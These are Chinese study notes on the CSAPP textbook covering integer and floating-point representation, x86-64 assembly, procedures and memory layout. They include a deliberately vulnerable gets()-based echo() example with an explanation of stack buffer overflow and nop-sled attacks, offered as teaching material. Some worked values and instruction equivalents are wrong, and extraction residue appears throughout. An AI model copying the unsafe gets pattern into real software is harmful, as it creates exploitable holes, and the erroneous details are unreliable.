由于整数乘法比移位和加法的代价要大得多,许多C语言编译器试图以移位、加法和减法的组合来消除很多整数常数的情况。例如,假设一个程序包含表达式x*14。利用14=23+22+21,编译器会将乘法重写为(x<<3)+(x<<2)+(x<<1),将一个乘法替换为三个移位和两个加法。无论x是无符号的还是补码,甚至当乘法会导致溢出时,两个计算都会得到一样的结果。(根据整数运算的熟悉可以证明)。更好的是,编译器还可以利用属性14=24-21,将乘法重写为(x<<4)-(x<<1),这时只需要两个移位和一个减法。

2.3.7 除以2的幂

在大多数机器上,整数除法要比整数乘法更慢–需要30个或者更多的时钟周期。除以2的幂也可以用移位运算来实现。只不过用的是右移,而不是左移。无符号和补码数分别使用逻辑移位和算术移位来达到目的。

2.3.8 关于整数运算的思考

计算机执行的“整数”运算实际上是一种模运算形式。表示数字的有限字长限制了可能的值的取值范围,结果运算可能溢出。我们还看到,补码表示提供了一种既能表示负数也能表示正数的灵活方法,同时使用了与执行无符号算术相同的位级实现,这些运算包括像加法、减法、乘法,甚至除法,无论运算数是以无符号形式还是以补码形式表示的,都有完全一样或者非常类似的位级行为。

我们看到了C语言中的某些规定可能会产生令人意想不到的结果,而这些结果可能是难以察觉或理解的缺陷的源头。我们特别看待了unsigned数据类型,虽然它概念上很简单,但可能导致即使资深程序员都意想不到的行为。

2.4 浮点数

2.4.1 二进制小数

理解浮点数的第一步是考虑含有小数值的二进制数字。首先,我们来看看更熟悉的十进制表示法。十进制表示法使用如下形式的表示:dmdm-1…d1d0.d-1d-2d-n。其中每个十进制数di的取值范围是0~9。这个表达描述的数值d定义如下:

img

数字权的定义与十进制小数点符号(’.’ ),这意味着小数点左边的数字的权是10的正幂,得到整数值,而小数点右边的数字的权是10的负幂,得到小数值。例如,12.3410表示数字1101+2100+310-1+410-2=img

类似,考虑一个形如bmbm-1…b1b0.b-1b-2…b-n-1b-n的表示法,其中每个二进制数字,或者成为位,bi的范围是0和1,这种表示方法表示的数b的定义如下:

img

符号’.’ 现在变成了二进制的点,点左边的位的权是2的正幂,点右边的权是2的负幂。例如,101.112表示数字122+021+120+12-1+1*2-2=img

从上式可以看出,二进制小数点向左移动一位相当于这个数被2除。例如,101.112表示数img,而10.1112表示数img。类似,二进制小数点像右移动一位相当于该值乘2。例如1011.12表示数img

注意,形如0.11…12的数表示的是刚好小于1的数。例如,0.1111112表示img,我们将用简单的表达法1.0-img来表示这样的数值。

假定我们仅考虑有限长度的编码,那么十进制表示法不能准备地表达像1/3和5/7这样的数。类似,小数的二进制表示法只能表示那些能够被写成x*2y的数。其他的值只能够被近似地表示。例如,数字1/5可以用十进制小数0.20精确表示。不过,我们并不能把它准备地表示为一个二进制小数,我们只能近似的表示它,增加二进制的长度可以提高表示的精度。

img

练习题2.45 填写下表中的缺失的信息

小数值二进制表示十进制表示
1/80.0010.125
3/40.110.75
25/161.10011.5625
43/1610.10112.6785
9/81.0011.125
47/8101.1115.875
51/1611.00113.1875

回到顶部

2.4.2 IEEE浮点表示

定点表示法不能很有效的表示非常大的数字。例如,表达式52100是用101后面跟随100个零的位模式来表示。相反,我们希望通过给定x和y的值,来表示形如x2y的数。

IEEE浮点标准用V=(-1)sM2E的形式来表示一个数:

  • 符号(sign)   s决定这数是负数(s=1)还是正数(s=0),而对于数值0的符号位解释作为特殊情况处理。
  • 尾数(significand)  M是一个二进制小数,它的范围是 12-![img](https://img-blog.csdnimg.cn/img_convert/af57fcda0760201c036daf216a1f63ff.png),或者是01-img
  • 阶码(exponent)  E的作用是对浮点数加权,这个权重是2的E次幂(可能是负数)。将 浮点数的位表示划分为三个阶段,分别对这些值进行编码:
  • 一个单独的符号位s直接编码符号s。
  • k位的阶码字段exp = ek-1…e1e0编码阶码E。
  • n位的小数字段frac=fn-1…f1f0编码尾数M,但是编码出来的值也依赖于阶码字段的值是否等于0。

图示给出了将三个装进字中最常见的格式。在单精度浮点格式(C语言中的float)中,s、exp、和frac字段分别为1位、k=8和n=23位,得到一个32位的表示。在双进度浮点格式(C语言的double)中,s、exp和frac字段分别为1位、k=11位和n=52位,得到一个64位的表示

img

给定位表示,根据exp的值,被编码的值可以分成三种不同的情况(最后一种情况有两个变种)

img  情况1:规格化的值

当exp的位模式即不全是0(数值0),也不全为1(单精度数值为255,双精度数值为2047)时,都属于这类情况。在这种情况下,阶码字段被解释为以偏置(biased)形式表示的有符号整数。也就是说,阶码的值是E=e-Bias,其中e是无符号数,其位表示为ek-1…e1e0,而Bias是一个等于2k-1-1(单精度是127,双精度是1023)的偏置值。由此产生指数的取值范围,对于单精度是-126+127,而对于双精度是-1022+1023。

小数字段frac被解释为描述小数值f,其中0<=f<1,其二进制表示为0.fn-1…f1f0,也就是二进制小数点在最高有效位的左边。尾数定义为M=1+f。有时,这种方式也叫做隐含的以1开头的表示,因此我们可以把M看成一个二进制表达式为1.fn-1fn-2…f0的数字。既然我们总是能够调整阶码E,使得尾数M在范围1<=M<2之中,那么这种表示方法是一种轻松获得额外精度位的技巧。既然第一位总是等于1,那么我们就不需要显示地表示它。

情况2:非规格化的值

当阶码域为全0时,所表示的数是非规格化形式。在这种情况下,阶码值是E=1-Bias,而尾数的值是M=f,也就是小数字段的值,不包含隐含的开头的1。

非规格化数有两个用途。首先,它们提供了一种表示数值0的方法,因为使用规格化数,我们必须总是使M>=1,因此我们就不能表示0。实际上,+0.0的浮点表示的位模式为全0;符号位是0,阶码字段全是0(表明是一个非规格化值),而小数域也全是0,这就是得到M=f=0。令人奇怪的是,当符号位位1,而其他域全是0时,我们得到值-0.0。根据IEEE的浮点格式,值+0.0和-0.0在某些方面被认为是不同的,而在其他方面是相同的。

非规格化的另外一个功能是表示那些非常接近于0.0的数。它们提供一种熟悉,称为逐渐溢出,其中,可能的数值分布均匀的接近于0.0。

情况3:特殊值

最后一类数值时当指阶码全为1的时候出现的。当小数域全为0时,得到的值表示无穷,当s=0时是+*img或者当s=1时是-img。*当我们把两个非常大的数相乘,或者除以0时,无穷能够表示溢出的结果。当小数域为非零时,结果值被称为"NaN",(Not aNumber)。一些运算的结果不能是实数或无穷,就会返回这样的NaN值,比如计算img。在某些应用中,表示未初始化的数据是,还是很有用处的。

回到顶部

2.4.3 数字示例

图示展示了一组数值,它们可以用假定的6位格式来表示,有k=3的阶码位和n=2的尾数位。偏置量是23-1-1=3。图示a部分显示了所有可表示的值(除了NaN)。两个无穷值在两个末端。最大数量值的规格化数img14。非规格化数聚集在0的附近。图的b部分中,我们只展示了介于-1.0~+1.0之间的数值,这样就能看得更清楚了。两个零是特殊的非规格化数。可以观察到,那些可表示的数并不是均匀分布的–越靠近原点处它们越稠密。

img

图示展示了假定的8位浮点格式的示例,其中有k=4的阶码位和n=3的小数位。偏置量是24-1-1=7。图被分成了三个区域,来描述三类数字。不同的列给出了阶码字段是如何编码阶码E的,小数字段是如何编码尾数M的,以及它们一起是如何形成要表示的值V=2EM的。从0自身开始,最靠近0的是非规格化数。这种格式的非规格化数的E=1-7=-6,得到权2E=1/64。小数f的值范围是0,1/8,…,7/8,从而得到数V的范围是0~1/647/8=7/512。

img

这种形式的最小规格化数同样有E=1-7=-6,并且小数取值范围也是0,1/8,…7/8。然而,尾数在范围1+0=1和1+7/8=15/8之间,得出数V在范围8/512=1/16和15/512之间。

可以观察到最大非规格化数7/512和最小非规格化数8/512之间的平滑转变。这种平滑性归功于我们对非规格化数的E的定义。通过将E定义为1-Bias,而不是-Bias,我们可以补偿非规格化数的尾数没有隐含的开头1。

当增大阶码时,我们成功地得到更大的规格化值,通过1.0后得到最大的规格化数。这个数具有阶码E=7,得到一个权2E=128。小数等于7/8得到尾数M=15/8。因此,数值是V=240。超过这个值就会 溢出到+img

图示展示了一些重要的单精度和双精度浮点数的表示和数字值。  img

  • 值+0.0 总有一个全为0的位表示。
  • 最小的正非规格化值的位表示,是由最低有效位为1而其他所有位为0构成的。它具有小数(和尾数)值M=f=2-n和阶码值E=-2k-1+2。因此它的数字值是img
  • 最大的非规格化值的位模式是由全为0的阶码字段和全为1的小数字段组成的。它有小数(和尾数)值M=f=1-2-n(我们写成1-img)和阶码值E=-2k-1+2。因此,数值img,这仅比最小的规格化值小一点。
  • 最小的正规格化值的位模式的阶码字段的最低有效位位1,其他位全为0。它的尾数值M=1,而阶码值E=-2k-1+2。因此,数值img
  • 值1.0
  • 最大的规格化值的位表示的符号位为0,阶码的最低有效位等于0,其他位等于1。它的小数值f=1-2-n,尾数M=2-2-n(写作2-img)。它的阶码值E=2k-1-1,得到数值img

第 3 章:程序的机器级表示

3.1 历史观点

  • Intel处理器系列的演化历史。
  • 摩尔定律:1965年摩尔推测,未来10年,芯片上的晶体管数量每年都会翻一番。

3.2 程序编码

当我们用以下命令编译C语言程序时:

gcc -Og -o p p1.c p2.c
  • 选项-Og告诉编译器,以生成复合原始C代码整体结构的机器代码进行优化。
  • 从性能考虑的话,-O1、-O2是相对来说更好一点的选择。
  • gcc将程序源码转化成可执行代码的过程步骤如下:
    1. C预处理器扩展源代码,插入#include指定的头文件和#define指定的宏定义。
    2. 编译器产生两个源文件的汇编代码p1.s和p2.s。
    3. 汇编器将将汇编代码转化成二进制目标文件p1.o和p2.o。
    4. 链接器将两个目标文件与实现库函数(printf)的代码合并生成可执行文件p

3.2.1 机器级代码

  • 机器级编程的两种重要抽象:
    1. 由指令集体系结构或指令集架构来定义吧机器级程序的格式和行为,它定义了处理器状态、指令的格式,以及每条指令对状态的影响。
    2. 机器级程序使用的内存地址是虚拟地址。
  • 机器级代码可以见的处理器状态包括:
    1.程序计数器(PC,%rip表示):指出将要执行的下一条指令的内存地址。
    2.整数寄存器
    3.条件码寄存器
    4.向量寄存器
  • 一条机器指令只执行一个非常基本的操作。

3.2.2 代码示例

// mstore.c
long mult2(long, long);

void multstore(long x, long y, long *dest) {
    long t = mult2(x, y);
    *dest = t;
}

上面代码通过以下命令编译:

gcc -Og -S mstore.c

会生成汇编文件mstore.s,内容如下:

image-20220126235056429

mstore.s

可以使用"-c"选项再将其汇编成二进制目标文件:

gcc -Og -c mstore.s

生成的.o文件中对应汇编指令的目标代码实际上只是一个字节序列,也就是说机器对存储在内存中的指令和数据都是一无所知的。

使用objdump工具对.o文件进行反汇编处理:

objdump -d mstore.o

image-20220126235143645

objdump反汇编结果

可以看到每一组的1-5个十六进制字节值对应了一个汇编指令。

如果要生成实际可执行的代码,需要对目标代码文件运行链接器,而目标代码文件中必须得有main函数。

#include <stdio.h>

void multstore(long, long , long *);

int main()
{
    long d;
    multstore(2,3,&d);
    printf("2 * 3 --> %ld\n",d);
    return 0;
}

long mult2(long a,long b) {
    long s = a * b;
    return s;
}

对上面的代码进行编译后再反汇编

gcc -Og -o prog main.c mstore.c
objdump -d prog

生成的汇编代码包括下面这段:

image-20220126235351420

objdump -d prog反汇编可执行程序代码段

3.2.3 关于格式的注解

  • 所有以"."开头的行都是指导汇编器和链接器工作的伪指令,通常都可以忽略。
  • 本书中以斜体的方式标注汇编代码解释性的说明。

3.3 数据格式

C语言数据类型在X86-64中的大小,64位机器中指针占8个字节。

img

C语言数据类型在X86-64中的大小

3.4访问信息

一个x86-64 位的中央处理单元(CPU )中包含一组 16 个存储 64 位值的通用目的寄存器,用来存储整数和指针。

  • 16 个寄存器标号为 raxrbp,r8r15
  • 16 个寄存器的低位部分都可以作为字节、字、双字、四字来单独访问。分别表示为 al, ax, eax, rax。

备注:调用参数超过6个,就需要在栈上申请空间存储参数。

整数寄存器

低位操作的规则:

  • 将寄存器作为目标位置时,生成1字节和2字节的指令会保持剩下的字节不变
  • 生成4字节的指令会把高位4字节置为 0.

16个寄存器的作用

  • rax:返回值
  • rsp:栈指针
  • rdi, rsi, rdx, rcx, r8, r9:第 1 到第 6 个参数
  • rbx, rbp, r12~r15:被调用者保存
  • r10, r11:调用者保存

3.4.1操作数指示符

指令的操作数有三种类型:

  1. 立即数:书写方式是 后 面 跟 一 个 用 标 准 C 表 示 法 表 示 的 整 数 , 例 如 后面跟一个用标准C表示法表示的整数,例如 后面跟一个用标准C表示法表示的整数,例如-20或$0x10
  2. 寄存器:它表示某个寄存器的内容,用寄存器标识符作为索引,例如R[ra]
  3. 内存引用: 根据计算出来的地址访问某个内存位置,最常用的寻址方式:Imm(rb, ri, s):Imm + rb + ri*s,s 为比例因子,只能是 1,2,4,8 中的某一个

操作数格式如下:

操作数格式

加深理解:

假设下面的值存放在指明的内存地址和寄存器中:

计算练习

答案:

%rax对应0x100,  0x104对应0xAB,  $0x108对应0x108,  (%rax)对应0xFF,  4(%rax)对应0xAB,  9(%rax,%rdx)对应0x11

260(%rcx,%rdx)对应0x13,  0xFC(,%rcx,4)对应0xFF,  (%rax,%rdx,4)对应0x11

讲解一下260(%rcx,%rdx),因为260=0x104,所以操作数是0x104+0x1+0x3=0x108地址对应的值,是0x13
12345

3.4.2数据传送指令

最简单形式的数据传送指令——MOV类,将数据从源位置复制到目的位置,不做任何变化。

mov 类有 5 种:

  • movb, movw, movl:传送字节、字、双字
  • movq:传送四字。如果源操作数是立即数,只能是双字,然后符号扩展到四字(假的四字)
  • movabsq:传送绝对的四字。只能以立即数作为源操作数,以寄存器为目的。可以传送任意 64 位立即数。

规则:

  • movq 用来传送寄存器和内存引用中的四字,movabsq 用来传送四字的立即数
  • mov 类的源操作数和目的操作数不能同时为内存,即不能将值从内存复制到内存。
  • mov 指令中寄存器的大小必须与 mov 的后缀字符大小匹配。movb $-17, %al

movz类

  • movz 系列和 movs 系列可以把较小的源值复制到较大的目的,目的都是寄存器。
  • movz 将目的寄存器剩余字节做零扩展,movs 做符号扩展
  • movz类:movzbw, movzbl, movzbq, movzwl, movzwq(movzbw 即从字节复制到字,其他类似)
  • movs类:movsbw, movsbl, movsbq, movswl, movswq, movslq, cltq
  • cltq:没有操作数,将 eax 符号扩展到 rax,等价于 movslq %eax,%rax

3.4.3数据传送示例

数据传送示例

局部变量通常保存在寄存器中。
函数返回指令 ret 返回的值为寄存器 rax 中的值

3.4.4压入和弹出栈数据

栈向下增长,栈顶的地址是栈中元素地址中最低的。栈指针 rsp 保存栈顶元素的地址。
出入栈指令:

  • pushq rax:压栈,栈指针减 8 并将 rax 中的值写入新的栈顶地址,等价于:subq $8, (rsp) ; movq rax,(rsp)。
  • popq rax:出栈,栈指针加 8 并将出栈的值写入 rax 中,等价于:movq (rsp),rax ; add $8,(rasp)
  • 使用 mov 指令和标准的内存寻址方法可以访问栈内的任意位置,而非仅限于栈顶。

3.5算术和逻辑操作

x86-64 的每个指令类都有对应四种不同大小数据的指令。

算术和逻辑操作共有四组:
整数算术操作

3.5.1加载有效地址

leaq 实际上是 movq 指令的变形。操作是从内存读数据地址到寄存器。

leaq 在实际应用中常常不用来取地址,而用来计算加法和有限形式的乘法

leaq 7(%rdx, %rdx, 4), %rax;//将设置寄存器%rax的值为5x + 7

进一步,举例说明:

加载有效地址

3.5.2一元和二元操作

一元操作中的操作数既是源又是目的。
二元操作中的第二个操作数既是源又是目的。
因为不能从内存到内存,因此当第二个操作数是内存地址时,要先从内存读出值,执行操作后再把结果写回去。

3.5.3移位操作

移位操作的移位量可以是一个立即数或放在单字节寄存器 %cl 中。
当移位量大于目的数的长度时,只取移位量低字节中的值(小于目的数长度)来作为真实的移位量。

3.5.4特殊的算术操作

两个 64 位数的乘积需要 128 位来表示,x86-64指令集可以有限的支持对 128 位数的操作,包括乘法和除法,Intel把16字节的数称为八字(oct word)。(乘积存放在寄存器%rdx(高64位)和%rax(低64位)中)

128 位数需要两个寄存器来存储,移动时也需要两个 movq 指令来移动。

这种情况对于有符号数和无符号数采用了不同的指令。

支持产生两个64位数字的全128位乘积以及整数除法的指令:

特殊的算术操作

3.6控制

条件语句、循环语句、分支语句都要求有条件的执行。

机器代码提供两种低级机制来实现有条件的行为:

  • 测试数据值,然后根据测试的结果来改变控制流或数据流
  • 使用 jump 指令进行跳转

3.6.1条件码

条件码寄存器都是单个位的,是不同于整数寄存器的另一组寄存器。

条件码描述了最近的算术或逻辑操作的属性,可以通过检测这些寄存器来执行条件分支指令

常用条件码:

  • CF:进位标志。最近的操作使最高位产生了进位。可以用来检查无符号数的溢出
  • ZF:零标志。最近的操作的结果为 0
  • SF:符号标志。最近的操作的结果为负数。
  • OF:溢出标志。最近的操作导致了补码溢出——正溢出或负溢出

除了 leaq 指令外,其余的所有算术和逻辑指令都会根据运算结果设置条件码。

此外还有两类特殊的指令,他们只设置条件码不更新目的寄存器:

  • cmp s1, s2:除了不更新目的寄存器外与 sub 指令的行为相同
  • test s1, s2:除了不更新目的寄存器外与 and 指令的行为相同

3.6.2访问条件码

条件码一般不直接读取,常用的使用方法有 3 种:

  1. 根据条件码的某种组合,使用 set 指令类将一个字节设置为 0 或 1。
  2. 可以条件跳转到程序的某个其他部分
  3. 有条件地传送数据

set 指令类

set 指令的目的操作数是低位单字节寄存器元素或一个字节的内存位置。set 会将该字节设置为 0 或 1

set 指令类的后缀指明了所考虑的条件码的组合,如 setl (set less) 表示“小于时设置”。

set指令集合如下:

set命令

注意到上图中,set 指令对于大于、小于的比较分为了有符号和无符号两类。

大多数时候,机器代码对无符号和有符号两种情况使用一样的指令。

使用不同指令来处理无符号和有符号操作的情况:

  • 不同的条件码组合:
  • 不同版本的右移:sar 和 shr
  • 不同的乘法和除法指令

汇编语言中数据本身不区分有符号和无符号,通过不同的指令来区分有符号操作和无符号操作。

3.6.3跳转指令

跳转指令会导致执行切换到程序中一个全新的位置,这些跳转的目的地通常用一个标号指明。

示例代码:

    movq $0,%rax
    jmp .L1 ;
    movq (%rax),%rdx
.L1:
    popq %rdx
12345

jmp 可以是直接跳转,即操作数为标号。也可以间接跳转,即操作数是寄存器或内存引用,这种情况下跳转到寄存器中存储的地址处。

跳转指令分为有条件跳转和无条件跳转,只有 jmp 是无条件跳转。有条件跳转都只能是直接跳转。

有条件跳转类似 set 指令系列,根据条件码寄存器的值来判断是否进行跳转。

jump的指令集合如下:

jump指令

3.6.4跳转指令的编码

跳转指令的机器编码(就是纯粹数字表示的机器语言)有几种方式,其中两种如下:

PC 相对跳转:使用目标地址与跳转指令之后下一条指令的地址之间的差来编码。可以用 1、2 或 4 个字节来编码。

绝对地址编码:使用目标的绝对地址。用 4 个字节直接指出。

汇编器和链接器会自己选择适当的编码方式。

3.6.5用条件控制来实现条件分支

汇编代码层面的条件控制类似于 c 语言的 goto 语句。

汇编语言使用条件码和条件跳转来起到和 c 语言中 if 相似的作用

条件语句的编译

3.6.6用条件传送来实现条件分支

实现条件操作的传统方法是通过使用控制的条件转移。当条件满足时,程序沿着一条执行路径执行,而当条件不满足时,就走另外一条路径。这种机制简单而通用,但是在现代处理器上,它可能会非常低效。

一种替代的策略是使用数据的条件转移。这种方法计算一个条件操作的两种结果,然后根据条件是否满足从中选取一个。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QMwKRLq1-1645887943963)(https://s2.loli.net/2022/01/29/UnYqyW98a3uKwDF.png)]

为了理解为什么基于条件数据传送的代码会比条件控制转移的代码性能要好?

—— 处理器通过使用流水线来获得高性能,在流水线中,一条指令的处理要经过一系列的阶段,每个阶段执行所需操作的一小部分(例如,从内存取指令、确定指令类型、从内存读数据、执行算术运算、向内存写数据,以及更新程序计数器)。这种方法通过重叠连续指令的步骤来获取高性能。

当机器遇到条件跳转,只有当分支条件求值完成后,才能决定分支往哪边走。(分支预测错误会带来性能的严重下降)

在一个典型的应用中,x < y 的结果非常地不可预测,仅有50%概率,从而导致每次调用的平均时钟周期会变大。

条件传送指令集如下:

条件传送指令

3.6.7循环

C 语言提供了多种循环结构,即 do-while、while 和 for,汇编中没有相应的指令存在,可以用条件测试和跳转组合起来实现循环的效果。

如通用 do-while 形式

do 
   body-statement
   while(test-expr)
123

可以通过下面组合完成

loop:
    body-statement
    t = test-expr;
    if (t)
        goto loop;
12345

3.6.8switch

switch 通过一个整数索引值进行多重分支,处理具有多种可能结果的测试时特别有用:

  • 不仅提高了代码的可读性,
  • 通过跳转表使得实现更加高效。
  • 使用跳转表的优点是执行开关语句的时间与开关数量无关。

跳转表是一个数组,表项 i 是一个代码段的地址,当开关索引等于 i 时进行此部分代码段的操作。

3.7过程

过程是软件中一种很重要的抽象。它提供了一种封装代码的方式,用一组指定的参数和一个可选的返回值实现了某种功能。

然后,可以在程序中不同的地方调用这个函数。设计良好的软件用过程作为抽象机制,隐藏某个行为的具体实现,同时又提供清晰简洁的接口定义,说明要计算的是哪些值,过程会对程序状态产生什么样的影响。

不同编程语言中,过程的形式多种多样:函数(function)、方法(method)、子例程(subroutine)、处理函数(handler)等等。

假设过程P调用过程Q,Q执行完后返回到P

  • 传递控制。在进入过程Q的时候,程序计数器必须被设置为Q的代码的起始地址,然后在返回时,要把程序计数器设置为p中调用Q后面那条指令的地址。
  • 传递数据。P必须能够向Q提供一个或多个参数,Q必须能够向p返回一个值。
  • 分配和释放内存:在开始时,Q可能需要为局部变量分配空间,而在返回前,又必须释放这些存储空间

3.7.1运行时栈

程序可以用栈来管理它的过程所需要的存储空间,栈和程序寄存器存放着传递控制和数据、分配内存所需要的信息

Q栈帧:Q的代码可以保存寄存器的值,分配局部变量空间

P中定义的变量要放在P的栈帧里。如果调用Q,把这些值再复制到寄存器中。

P最多传递六个整数值,如果多了,可以在调用Q之前把参数放在自己的栈帧里

通用的栈帧结构

3.7.2转移控制

将控制从函数P转移到函数Q只需要简单地把程序计数器PC设置为Q的代码的起始位置。不过,当稍后从Q返回的时候,处理器必须记录好它需要继续P的执行的代码位置。

在X86-64机器中,这个信息是用 call Q 调用过程Q来记录的。该指令会把地址A压入栈中,并将PC设置为Q的起始地址。压入的地址A被称为返回地址,是紧跟在call指令后面的那条指令的地址。对应的指令ret会从栈中弹出地址A,并把PC设置为A。

下面给出的是call和ret指令的一般形式:

call和ret的形式

3.7.3数据传送

当调用一个过程时,除了要把控制传递给它并在过程返回时再传递回来之外,过程调用还可能包括把数据作为参数传递,而从过程返回还有可能包括返回一个值。

在x86-64中,大部分过程间的数据传送是通过寄存器实现的,例如当过程P调用过程Q时,P的代码要把参数复制到适当的寄存器,多于6个放在自己栈帧里。类似地,当Q返回到P时,P的代码可以访问寄存器%rax中的返回值。

3.7.4栈上的局部存储

大部分过程示例都不需要超出寄存器大小的本地存储区域。不过有些时候,局部数据必须存放在内存中,常见的情况包括:

  • 寄存器不足存放所有的本地数据
  • 对一个局部变量使用地址运算符&,因此必须为它产生一个地址
  • 某些局部变量时数组或结构,因此必须能够通过数组或结构引用被访问到。

示例如下:

过程定义和调用的示例

当P调用Q传递参数的时候,使用leaq语句,传递的是%rsp代表的地址

3.7.5寄存器中的局部存储空间

寄存器组是唯一被所有过程共享的资源。虽然在给定时刻只有一个过程是活动的,但是我们必须确保:调用者调用被调用者时,被调用者不会覆盖稍后调用者会使用的寄存器。

被调用者保护寄存器,%rbx,%rbp,%r12~15, 实现方法:要么不去改变那个寄存器,要么把原始值压入栈中,改变寄存器,最后弹出原始值。

递归过程

每个过程调用在栈中都有它自己的私有空间,因此多个未完成调用的局部变量不变相互影响。此外,栈的原则很自然地就提供了适当的策略,当过程被调用时分配局部存储,当返回时释放存储。

递归的阶乘函数示例如下:

递归的阶乘程序的代码

3.8数据的分配和访问

对于数组 T A[N], L 为数据类型 T 的大小,首先它在存储器中分配一个 L * N 字节的连续区域,用 Xa 指向数组开头的指针,数组元素 i 会被存放在地址为 Xa + L* i 的地方。

一维数组:

  • %edx: 数组的起始地址
  • %eax: 数组元素下标值
  • 要访问的数据地址为: 4*%eax + %edx
  • 内存寻址方式: (%edx,%eax,4)

二维数组

T D [R] [C];

  • 数据类型 T , R 行, C 列
  • 假设类型 T 的元素需要 L字节 数组大小 R * C * L bytes
  • 排列方式: 以行为主序, 在内存中是连续分配的

访问数组: Xd+(i * C + j )* L

3.9异质的数据结构

3.9.1结构

C 语言中用 struct 声明创建一个数据类型,将可能不同类型的对象聚合在一个对象中,结构的各个组成部分用名字来引用。

类似于数组,结构的所有组成部分都存放在存储器的一段连续区域内,而指向结构的指针就是结构第一个字节的地址。编译器维护关于每个结构类型的信息,指示每个字段的偏移。机器代码不包含关于字段声明或字段名字的信息。

struct字节对齐示例如下:

b之所以要字节填补7个字节,是因为c是8字节。

struct字节对齐

3.9.2联合

允许以多种类型来引用一个对象。联合声明的语法与结构的语法一样,只不过语义相差比较大。它们是用不同的字段来引用相同的存储器块。

一个联合的总的大小等于它最大字段的大小。

3.9.3数据对齐

许多计算机系统对基本数据类型的合法地址做出了一些限制,要求某种类型对象的地址必须是某个值K(通常是2、4或8)的倍数。这种对齐限制简化了形成处理器和内存系统之间接口的硬件设计。

对齐原则如下:

对齐原则

3.10在机器级程序中将控制与数据结合起来

3.10.1理解指针

指针是C语言的核心特殊,以一种统一的方式,对不同数据结构中的元素产生引用。

指针的原则:

  1. 每个指针都对应一个类型,表明指针指向那一类对象。不过指针类型不是机器代码中的一部分;它指示 C 语言提供的一种抽象,帮助程序员避免寻址错误。
  2. 每个指针都有一个值。是某个指定类型对象的地址。特殊的NULL(0)值表示该指针没有指向任何地方。
  3. 指针用 & 运算符创建。机器代码常常用 leaq 来计算存储器引用的地址。
  4. ‘*’操作符用于间接引用指针。
  5. 数组与指针紧密联系。一个数组的名称可以像一个指针变量一样引用。数组引用a[3]与指针运算和间接引用*(a + 3)有一样的效果。
  6. 将指针从一种类型强制转换成另一种类型,只改变它的类型,而不改变它的值。
  7. 指针也可以指向函数。
int fun(int x, int y)
int (*fp)(int,int)
fp = fun
123

3.10.2使用GDB调试器

GNU的调试器GDB提供了许多有用的特性,支持机器级程序的运行时评估和分析。

使用以下命令启动GDB

linux> gdb prog
1

GDB命令示例

3.10.3内存越界引用和缓冲区溢出

内存越界访问: c对于数组指针引用不进行任何边界检查,且局部变量和状态信息都存放在栈中。此两种情况结合在一起可能导致严重的程序错误,对越界的数组元素的写操作会破坏存储在栈中的状态信息。当程序使用这个被破坏的状态,试图重新加载寄存器或执行ret指令,就会出现严重的错误。

缓冲区溢出: 在栈中分配某个字符数组来保存一个字符串,但是字符串的长度超过了为数组分配的空间。

程序示例:

//库函数gets()的实现
char *gets(char *s)
{
	int c;
	char *dest=s;
	//从标准输入读入一行,在遇到一个回车换行字符或某个错误情况时停止
	while((c=getchar())!='\n' && c!=EOF)
	{
		*dest++=c;
	}
	//将字符串复制到参数s指明的位置后,在字符串的末尾加上NULL字符
	if(c==EOF && dest==s)
	{
		retuen NULL;
	}
	*dest++='\0';
	return s;
}
//从标准行输入中读入一行,再将其送回到标准输出
void echo()
{
	char buf[8];//设置8字节的缓冲区,任何长度超过7个字符的字符串都会导致写越界
	gets(buf);
	puts(buf);
}
12345678910111213141516171819202122232425

gets()函数的问题是无法确定是否为保存整个字符串分配了足够的空间。

echo的汇编代码:

void echo()
echo:
	subq	$24,%rsp
	movq	%rsp,%rdi
	call	gets
	movq	%rsp,%rdi
	call	puts
	addq	$24,%rsp
	ret
123456789

该程序在栈上分配了24个字节,字符数组buf位于栈顶,%rep被复制到%rdi作为调用gets和puts的参数。调用的参数和存储的返回指针之间的16个字节未被使用,根据用户输入字符大小,可得到一下表格:

echo示例

如果存储的返回地址的值被破坏了,那么ret指令会导致程序跳转到一个意想不到的位置,会出现缓冲区漏洞。有时会使程序执行它本来不愿意执行的函数,从而对计算机网络系统进行攻击。

3.10.4对抗缓冲区溢出攻击

对抗这种攻击有几种常用方法:

1.栈随机化,即程序开始时,在栈上随机分配一段0-n字节间的随机大小的空间(可用alloca实现),程序不使用这段空间,这样,通过浪费一段空间,可以使程序每次执行时后续的栈位置发生变化。然而这种方式仍有着被破解的可能,攻击者可以在攻击代码前放许多nop指令,这些指令唯一的作用就是指向下一条指令,假设本来栈随机化后栈空间地址的变化范围达到了223个字节,本来要精确地将返回地址改到攻击代码入口的对应的地址需要“精确投放”,即要尝试枚举223种可能,现在攻击代码加上这一堆nop指令,假设达到了28=256个字节,代表只要返回地址指向这些指令中的任何一条,都会导致最后进入攻击代码,因此只要枚举215种可能就行了,因此栈随机化不大保险。

2.栈破坏检测,基本思路是在栈的局部缓冲区插入一个哨兵值(金丝雀值),它在程序每次运行时随机产生(比如可以从内存中某个地方取得),在函数返回以及恢复寄存器的值之前,程序会先检测哨兵值是否被改变,若改变了则程序异常终止。

3.限制可执行代码区域,即限制只有保存编译器产生的代码的那部分内存才是可执行的,其他内存区域被限制为只允许读和写。

3.10.5支持可变栈帧

当声明一个局部变长数组时,编译器无法一开始就确定栈帧的大小,要为之分配多少内存空间,因此需要用变长栈帧。

下面看一个实例,比较难:

可变栈帧

变长数组意味着在编译时无法确认栈帧的大小。

3.11 浮点代码

处理器的浮点系统结构包括多个方面,会影响对浮点数据操作的程序如何被映射到机器上,包括:

  • 如何存储和访问浮点数据。通常是通过某种寄存器方式来完成。
  • 对浮点数据操作的指令。
  • 向函数传递浮点数参数和从函数返回浮点数结构的规则。
  • 函数调用过程中保存寄存器的规则。

x86-64 浮点体系结构的历史:

https://raw.githubusercontent.com/xingyys/myblog/main/posts/images/20210913085103.png

如图所示,AVX 浮点体系结构允许数据存储在 16 个 YMM 寄存器中,名字是 %ymm0~%ymm15。每个 YMM 寄存器都是 256(32 字节)。当对标量数据操作时,这些寄存器值保存浮点数,而且只使用低 32 位(对于 float) 或 64 位(对于 double)。汇编代码用寄存器的 SSE XMM 寄存器名字 %xmm0~%xmm15 来引用它们,每个 XMM 寄存器都是对应的 YMM 寄存器的低 128 位(16字节)。

https://raw.githubusercontent.com/xingyys/myblog/main/posts/images/20210913085612.png

3.11.1 浮点传送和转化操作

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-brSmSFKm-1645887943967)(https://raw.githubusercontent.com/xingyys/myblog/main/posts/images/20210913090024.png)]

